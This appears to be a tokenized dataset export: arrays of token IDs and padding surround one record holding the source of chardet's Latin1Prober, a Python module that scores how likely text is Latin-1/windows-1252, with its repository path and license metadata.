3356,
12,
302,
63,
4608,
430,
398,
702,
63,
4398,
63,
1452,
8,
667,
14,
793,
2930,
63,
1988,
17,
467,
1433,
14,
3397,
63,
3356,
8,
56,
680,
1838,
1012,
267,
702,
63,
4398,
63,
1452,
8,
667,
14,
3397,
63,
3356,
8,
56,
680,
3670,
1062,
1433,
14,
3397,
8,
56,
430,
398,
3915,
275,
980,
14,
452,
8,
1590,
14,
3028,
8,
667,
14,
793,
2930,
13309,
267,
702,
63,
13154,
8,
3028,
12,
378,
2020,
283,
2445,
22046,
487,
70,
440,
19781,
358,
398,
327,
15227,
1849,
6221,
267,
308,
8695,
275,
980,
14,
8695,
8,
56,
12,
1962,
1391,
29,
16,
2020,
10671,
29,
17,
4959,
398,
327,
5822,
1849,
6221,
267,
333,
8695,
275,
1433,
14,
362,
63,
15024,
342,
267,
3915,
275,
980,
14,
1838,
8,
1590,
14,
2101,
8,
83,
8695,
446,
333,
8695,
430,
1182,
644,
14,
890,
267,
702,
63,
2003,
8,
3028,
12,
378,
14,
17,
12,
298,
14825,
3679,
8865,
365,
450,
70,
2,
450,
3915,
9,
267,
1433,
275,
27348,
13182,
8,
78,
63,
4608,
29,
78,
63,
4608,
12,
1169,
11145,
63,
6221,
63,
826,
29,
1590,
14,
4548,
8,
78,
63,
3179,
430,
267,
702,
63,
3536,
8,
3393,
12,
1433,
14,
3269,
12,
1323,
3981,
520,
18,
566,
339,
289,
275,
2400,
671,
12,
612,
26,
980,
14,
2101,
8,
5675,
8,
88,
12,
612,
430,
221,
327,
2070,
911,
440,
506,
4472,
272,
1433,
17,
12,
1433,
18,
275,
289,
305,
272,
367,
1921,
315,
788,
793,
2930,
14474,
283,
4608,
14474,
283,
11838,
63,
6221,
63,
2565,
267,
702,
63,
4398,
63,
1452,
8,
70,
8,
667,
17,
12,
1921,
395,
289,
8,
667,
18,
12,
1921,
430,
339,
1433,
17,
14,
988,
63,
1661,
275,
413,
272,
1433,
17,
14,
3832,
275,
715,
272,
702,
63,
19811,
8,
7619,
10925,
3849,
12,
1433,
17,
14,
3269,
12,
1323,
9,
339,
327,
1379,
664,
63,
15024,
436,
664,
63,
6833,
543,
302,
63,
4608,
508,
302,
63,
3179,
272,
327,
543,
302,
63,
4608,
665,
302,
63,
3179,
436,
543,
302,
63,
4608,
508,
378,
272,
367,
302,
63,
4608,
315,
359,
16,
12,
499,
12,
1323,
14,
1392,
59,
17,
27589,
267,
1433,
14,
78,
63,
4608,
275,
302,
63,
4608,
267,
1433,
14,
3269,
8,
56,
9,
267,
13786,
275,
1433,
14,
362,
63,
15024,
342,
267,
7151,
275,
1433,
14,
362,
63,
6833,
342,
267,
702,
63,
1144,
63,
4398,
63,
1452,
8,
1590,
14,
3287,
8,
8695,
12,
7151,
395,
3303,
980,
14,
15240,
8,
56,
14,
1392,
59,
17,
2522,
3144,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
6529,
26,
2799,
18824,
5653,
593,
2254,
269,
2412,
665,
79,
2254,
26218,
32,
6799,
14,
957,
30,
199,
3,
260,
22986,
28547,
27211,
10279,
665,
24421,
28547,
14,
1679,
10279,
32,
262,
23714,
14,
4391,
30,
199,
3,
844,
26,
6289,
19,
199,
199,
646,
2680,
465,
980,
199,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
19811,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
1452,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
13154,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
2003,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
3536,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
4398,
63,
1452,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
1144,
63,
4398,
63,
1452,
199,
504,
6357,
14,
3924,
492,
11801,
10925,
3849,
199,
504,
6357,
14,
31384,
492,
27348,
13182,
199,
504,
6357,
14,
1208,
14,
4776,
492,
3686,
63,
5451,
421,
199,
3,
14092,
3598,
687,
31620,
370,
1655,
7074,
10615,
315,
2196,
1759,
63,
18675,
199,
32,
4247,
63,
5451,
199,
318,
511,
63,
4778,
63,
10466,
837,
272,
327,
1379,
27348,
13182,
21255,
370,
22803,
314,
666,
13263,
5523,
272,
9038,
275,
980,
14,
2355,
14,
15726,
8,
16,
9,
272,
302,
63,
3356,
12,
302,
63,
3179,
12,
302,
63,
4608,
275,
3388,
12,
959,
12,
650,
339,
327,
6601,
2196,
2202,
367,
314,
1519,
1905,
1402,
272,
644,
275,
9038,
14,
10843,
8,
78,
63,
4608,
12,
302,
63,
3179,
9,
272,
327,
2465,
343,
1750,
402,
8134,
650,
12,
3388,
402,
652,
272,
394,
275,
9038,
14,
10843,
8,
78,
63,
3356,
12,
302,
63,
4608,
9,
272,
327,
1808,
10169,
370,
1402,
3365,
11145,
11773,
272,
327,
1126,
3931,
272,
11145,
275,
9038,
14,
7325,
8,
17,
12,
1568,
29,
78,
63,
3179,
9,
627,
9038,
14,
10843,
8,
78,
63,
3356,
12,
302,
63,
3179,
9,
339,
327,
3550,
19739,
272,
327,
336,
793,
12,
4615,
365,
378,
272,
1323,
275,
980,
14,
3287,
8,
72,
12,
644,
9,
435,
11145,
339,
702,
63,
3536,
8,
3393,
12,
27348,
13182,
12,
26937,
63,
765,
534,
1421,
358,
272,
1433,
63,
1633,
275,
27348,
13182,
342,
272,
1433,
63,
1633,
14,
18675,
63,
765,
275,
283,
1421,
7,
272,
702,
63,
3536,
8,
3393,
12,
1433,
63,
1633,
14,
3269,
12,
1323,
9,
272,
289,
305,
275,
942,
272,
367,
1083,
315,
788,
2355,
1759,
297,
283,
26760,
2565,
267,
1433,
275,
27348,
13182,
8,
78,
63,
4608,
29,
78,
63,
4608,
12,
26937,
63,
765,
29,
765,
9,
267,
1433,
14,
3269,
8,
56,
9,
267,
289,
305,
14,
740,
8,
667,
9,
398,
1323,
63,
84,
275,
1433,
14,
4711,
8,
56,
9,
267,
702,
63,
1452,
8,
56,
63,
84,
14,
1392,
12,
334,
78,
63,
3356,
12,
302,
63,
4608,
430,
398,
702,
63,
4398,
63,
1452,
8,
667,
14,
793,
2930,
63,
1988,
17,
467,
1433,
14,
3397,
63,
3356,
8,
56,
680,
1838,
1012,
267,
702,
63,
4398,
63,
1452,
8,
667,
14,
3397,
63,
3356,
8,
56,
680,
3670,
1062,
1433,
14,
3397,
8,
56,
430,
398,
3915,
275,
980,
14,
452,
8,
1590,
14,
3028,
8,
667,
14,
793,
2930,
13309,
267,
702,
63,
13154,
8,
3028,
12,
378,
2020,
283,
2445,
22046,
487,
70,
440,
19781,
358,
398,
327,
15227,
1849,
6221,
267,
308,
8695,
275,
980,
14,
8695,
8,
56,
12,
1962,
1391,
29,
16,
2020,
10671,
29,
17,
4959,
398,
327,
5822,
1849,
6221,
267,
333,
8695,
275,
1433,
14,
362,
63,
15024,
342,
267,
3915,
275,
980,
14,
1838,
8,
1590,
14,
2101,
8,
83,
8695,
446,
333,
8695,
430,
1182,
644,
14,
890,
267,
702,
63,
2003,
8,
3028,
12,
378,
14,
17,
12,
298,
14825,
3679,
8865,
365,
450,
70,
2,
450,
3915,
9,
267,
1433,
275,
27348,
13182,
8,
78,
63,
4608,
29,
78,
63,
4608,
12,
1169,
11145,
63,
6221,
63,
826,
29,
1590,
14,
4548,
8,
78,
63,
3179,
430,
267,
702,
63,
3536,
8,
3393,
12,
1433,
14,
3269,
12,
1323,
3981,
520,
18,
566,
339,
289,
275,
2400,
671,
12,
612,
26,
980,
14,
2101,
8,
5675,
8,
88,
12,
612,
430,
221,
327,
2070,
911,
440,
506,
4472,
272,
1433,
17,
12,
1433,
18,
275,
289,
305,
272,
367,
1921,
315,
788,
793,
2930,
14474,
283,
4608,
14474,
283,
11838,
63,
6221,
63,
2565,
267,
702,
63,
4398,
63,
1452,
8,
70,
8,
667,
17,
12,
1921,
395,
289,
8,
667,
18,
12,
1921,
430,
339,
1433,
17,
14,
988,
63,
1661,
275,
413,
272,
1433,
17,
14,
3832,
275,
715,
272,
702,
63,
19811,
8,
7619,
10925,
3849,
12,
1433,
17,
14,
3269,
12,
1323,
9,
339,
327,
1379,
664,
63,
15024,
436,
664,
63,
6833,
543,
302,
63,
4608,
508,
302,
63,
3179,
272,
327,
543,
302,
63,
4608,
665,
302,
63,
3179,
436,
543,
302,
63,
4608,
508,
378,
272,
367,
302,
63,
4608,
315,
359,
16,
12,
499,
12,
1323,
14,
1392,
59,
17,
27589,
267,
1433,
14,
78,
63,
4608,
275,
302,
63,
4608,
267,
1433,
14,
3269,
8,
56,
9,
267,
13786,
275,
1433,
14,
362,
63,
15024,
342,
267,
7151,
275,
1433,
14,
362,
63,
6833,
342,
267,
702,
63,
1144,
63,
4398,
63,
1452,
8,
1590,
14,
3287,
8,
8695,
12,
7151,
395,
3303,
980,
14,
15240,
8,
56,
14,
1392,
59,
17,
2522,
3144,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
creichlin/captivout
|
tests/requests/packages/chardet/latin1prober.py
|
1778
|
5232
|
######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 2001
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
# Mark Pilgrim - port to Python
# Shy Shalom - original C code
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301 USA
######################### END LICENSE BLOCK #########################
from .charsetprober import CharSetProber
from .constants import eNotMe
from .compat import wrap_ord
FREQ_CAT_NUM = 4
UDF = 0 # undefined
OTH = 1 # other
ASC = 2 # ascii capital letter
ASS = 3 # ascii small letter
ACV = 4 # accent capital vowel
ACO = 5 # accent capital other
ASV = 6 # accent small vowel
ASO = 7 # accent small other
CLASS_NUM = 8 # total classes
Latin1_CharToClass = (
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 00 - 07
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 08 - 0F
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 10 - 17
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 18 - 1F
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 20 - 27
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 28 - 2F
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 30 - 37
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 38 - 3F
OTH, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 40 - 47
ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 48 - 4F
ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 50 - 57
ASC, ASC, ASC, OTH, OTH, OTH, OTH, OTH, # 58 - 5F
OTH, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 60 - 67
ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 68 - 6F
ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 70 - 77
ASS, ASS, ASS, OTH, OTH, OTH, OTH, OTH, # 78 - 7F
OTH, UDF, OTH, ASO, OTH, OTH, OTH, OTH, # 80 - 87
OTH, OTH, ACO, OTH, ACO, UDF, ACO, UDF, # 88 - 8F
UDF, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 90 - 97
OTH, OTH, ASO, OTH, ASO, UDF, ASO, ACO, # 98 - 9F
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A0 - A7
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A8 - AF
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B0 - B7
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B8 - BF
ACV, ACV, ACV, ACV, ACV, ACV, ACO, ACO, # C0 - C7
ACV, ACV, ACV, ACV, ACV, ACV, ACV, ACV, # C8 - CF
ACO, ACO, ACV, ACV, ACV, ACV, ACV, OTH, # D0 - D7
ACV, ACV, ACV, ACV, ACV, ACO, ACO, ACO, # D8 - DF
ASV, ASV, ASV, ASV, ASV, ASV, ASO, ASO, # E0 - E7
ASV, ASV, ASV, ASV, ASV, ASV, ASV, ASV, # E8 - EF
ASO, ASO, ASV, ASV, ASV, ASV, ASV, OTH, # F0 - F7
ASV, ASV, ASV, ASV, ASV, ASO, ASO, ASO, # F8 - FF
)
# 0 : illegal
# 1 : very unlikely
# 2 : normal
# 3 : very likely
Latin1ClassModel = (
# UDF OTH ASC ASS ACV ACO ASV ASO
0, 0, 0, 0, 0, 0, 0, 0, # UDF
0, 3, 3, 3, 3, 3, 3, 3, # OTH
0, 3, 3, 3, 3, 3, 3, 3, # ASC
0, 3, 3, 3, 1, 1, 3, 3, # ASS
0, 3, 3, 3, 1, 2, 1, 2, # ACV
0, 3, 3, 3, 3, 3, 3, 3, # ACO
0, 3, 1, 3, 1, 1, 1, 3, # ASV
0, 3, 1, 3, 1, 1, 3, 3, # ASO
)
class Latin1Prober(CharSetProber):
def __init__(self):
CharSetProber.__init__(self)
self.reset()
def reset(self):
self._mLastCharClass = OTH
self._mFreqCounter = [0] * FREQ_CAT_NUM
CharSetProber.reset(self)
def get_charset_name(self):
return "windows-1252"
def feed(self, aBuf):
aBuf = self.filter_with_english_letters(aBuf)
for c in aBuf:
charClass = Latin1_CharToClass[wrap_ord(c)]
freq = Latin1ClassModel[(self._mLastCharClass * CLASS_NUM)
+ charClass]
if freq == 0:
self._mState = eNotMe
break
self._mFreqCounter[freq] += 1
self._mLastCharClass = charClass
return self.get_state()
def get_confidence(self):
if self.get_state() == eNotMe:
return 0.01
total = sum(self._mFreqCounter)
if total < 0.01:
confidence = 0.0
else:
confidence = ((self._mFreqCounter[3] - self._mFreqCounter[1] * 20.0)
/ total)
if confidence < 0.0:
confidence = 0.0
# lower the confidence of latin1 so that other more accurate
# detector can take priority.
confidence = confidence * 0.73
return confidence
|
gpl-3.0
|
[
6565,
16427,
5113,
8068,
11945,
199,
3,
710,
12769,
5495,
365,
17728,
29347,
5960,
17842,
1233,
14,
199,
3,
199,
3,
710,
6026,
9607,
402,
314,
12769,
5495,
365,
199,
3,
20433,
18686,
11098,
14,
199,
3,
20825,
2737,
701,
314,
6026,
9607,
787,
1898,
334,
35,
9,
12521,
199,
3,
314,
6026,
9607,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
17636,
8,
83,
304,
199,
3,
257,
7173,
19641,
446,
1844,
370,
2018,
199,
3,
257,
428,
3577,
5244,
279,
676,
446,
3379,
445,
1233,
199,
3,
199,
3,
961,
3555,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
3,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
465,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
199,
3,
1015,
499,
14,
17,
402,
314,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
3555,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
1664,
199,
3,
6401,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
3180,
543,
642,
3555,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
1933,
12,
12066,
11844,
12,
8226,
12,
4828,
199,
3,
11315,
13,
10067,
221,
8217,
199,
19054,
7729,
5113,
8068,
21186,
199,
199,
504,
1275,
6043,
19903,
492,
31727,
199,
504,
1275,
5559,
492,
325,
1763,
1352,
199,
504,
1275,
5819,
492,
4816,
63,
2181,
199,
199,
38,
14583,
63,
11206,
63,
7125,
275,
841,
199,
199,
3383,
38,
275,
378,
221,
327,
10942,
199,
22949,
275,
413,
221,
327,
1163,
199,
22767,
275,
499,
221,
327,
13294,
17094,
8082,
199,
3755,
275,
650,
221,
327,
13294,
7425,
8082,
199,
1348,
54,
275,
841,
221,
327,
1066,
2946,
17094,
373,
11797,
199,
1348,
47,
275,
959,
221,
327,
1066,
2946,
17094,
1163,
199,
1179,
54,
275,
1227,
221,
327,
1066,
2946,
7425,
373,
11797,
199,
1179,
47,
275,
1520,
221,
327,
1066,
2946,
7425,
1163,
199,
6885,
63,
7125,
275,
1695,
221,
327,
3141,
3992,
199,
199,
27317,
17,
63,
18139,
2543,
275,
334,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
8733,
446,
24937,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
19363,
446,
378,
38,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
1616,
446,
5557,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
6155,
446,
413,
38,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
3388,
446,
8087,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
7294,
446,
499,
38,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
4233,
446,
6877,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
10448,
446,
650,
38,
272,
4418,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
257,
327,
6335,
446,
10954,
272,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
257,
327,
9615,
446,
841,
38,
272,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
257,
327,
5238,
446,
12699,
272,
20955,
12,
20955,
12,
20955,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
13713,
446,
959,
38,
272,
4418,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
257,
327,
5212,
446,
13296,
272,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
257,
327,
10851,
446,
1227,
38,
272,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
257,
327,
10045,
446,
8375,
272,
17567,
12,
17567,
12,
17567,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
14679,
446,
1520,
38,
272,
4418,
12,
738,
3888,
12,
4418,
12,
437,
4118,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
5939,
446,
10513,
272,
4418,
12,
4418,
12,
437,
1439,
12,
4418,
12,
437,
1439,
12,
738,
3888,
12,
437,
1439,
12,
738,
3888,
12,
257,
327,
10523,
446,
1695,
38,
272,
738,
3888,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
9137,
446,
15997,
272,
4418,
12,
4418,
12,
437,
4118,
12,
4418,
12,
437,
4118,
12,
738,
3888,
12,
437,
4118,
12,
437,
1439,
12,
257,
327,
16096,
446,
1749,
38,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
437,
16,
446,
437,
23,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
437,
24,
446,
20089,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
699,
16,
446,
699,
23,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
699,
24,
446,
699,
38,
272,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
437,
1439,
12,
437,
1439,
12,
257,
327,
445,
16,
446,
445,
23,
272,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
257,
327,
445,
24,
446,
6035,
272,
437,
1439,
12,
437,
1439,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
4418,
12
] |
[
16427,
5113,
8068,
11945,
199,
3,
710,
12769,
5495,
365,
17728,
29347,
5960,
17842,
1233,
14,
199,
3,
199,
3,
710,
6026,
9607,
402,
314,
12769,
5495,
365,
199,
3,
20433,
18686,
11098,
14,
199,
3,
20825,
2737,
701,
314,
6026,
9607,
787,
1898,
334,
35,
9,
12521,
199,
3,
314,
6026,
9607,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
17636,
8,
83,
304,
199,
3,
257,
7173,
19641,
446,
1844,
370,
2018,
199,
3,
257,
428,
3577,
5244,
279,
676,
446,
3379,
445,
1233,
199,
3,
199,
3,
961,
3555,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
3,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
465,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
199,
3,
1015,
499,
14,
17,
402,
314,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
3555,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
1664,
199,
3,
6401,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
3180,
543,
642,
3555,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
1933,
12,
12066,
11844,
12,
8226,
12,
4828,
199,
3,
11315,
13,
10067,
221,
8217,
199,
19054,
7729,
5113,
8068,
21186,
199,
199,
504,
1275,
6043,
19903,
492,
31727,
199,
504,
1275,
5559,
492,
325,
1763,
1352,
199,
504,
1275,
5819,
492,
4816,
63,
2181,
199,
199,
38,
14583,
63,
11206,
63,
7125,
275,
841,
199,
199,
3383,
38,
275,
378,
221,
327,
10942,
199,
22949,
275,
413,
221,
327,
1163,
199,
22767,
275,
499,
221,
327,
13294,
17094,
8082,
199,
3755,
275,
650,
221,
327,
13294,
7425,
8082,
199,
1348,
54,
275,
841,
221,
327,
1066,
2946,
17094,
373,
11797,
199,
1348,
47,
275,
959,
221,
327,
1066,
2946,
17094,
1163,
199,
1179,
54,
275,
1227,
221,
327,
1066,
2946,
7425,
373,
11797,
199,
1179,
47,
275,
1520,
221,
327,
1066,
2946,
7425,
1163,
199,
6885,
63,
7125,
275,
1695,
221,
327,
3141,
3992,
199,
199,
27317,
17,
63,
18139,
2543,
275,
334,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
8733,
446,
24937,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
19363,
446,
378,
38,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
1616,
446,
5557,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
6155,
446,
413,
38,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
3388,
446,
8087,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
7294,
446,
499,
38,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
4233,
446,
6877,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
10448,
446,
650,
38,
272,
4418,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
257,
327,
6335,
446,
10954,
272,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
257,
327,
9615,
446,
841,
38,
272,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
20955,
12,
257,
327,
5238,
446,
12699,
272,
20955,
12,
20955,
12,
20955,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
13713,
446,
959,
38,
272,
4418,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
257,
327,
5212,
446,
13296,
272,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
257,
327,
10851,
446,
1227,
38,
272,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
17567,
12,
257,
327,
10045,
446,
8375,
272,
17567,
12,
17567,
12,
17567,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
14679,
446,
1520,
38,
272,
4418,
12,
738,
3888,
12,
4418,
12,
437,
4118,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
5939,
446,
10513,
272,
4418,
12,
4418,
12,
437,
1439,
12,
4418,
12,
437,
1439,
12,
738,
3888,
12,
437,
1439,
12,
738,
3888,
12,
257,
327,
10523,
446,
1695,
38,
272,
738,
3888,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
9137,
446,
15997,
272,
4418,
12,
4418,
12,
437,
4118,
12,
4418,
12,
437,
4118,
12,
738,
3888,
12,
437,
4118,
12,
437,
1439,
12,
257,
327,
16096,
446,
1749,
38,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
437,
16,
446,
437,
23,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
437,
24,
446,
20089,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
699,
16,
446,
699,
23,
272,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
4418,
12,
257,
327,
699,
24,
446,
699,
38,
272,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
30950,
12,
437,
1439,
12,
437,
1439,
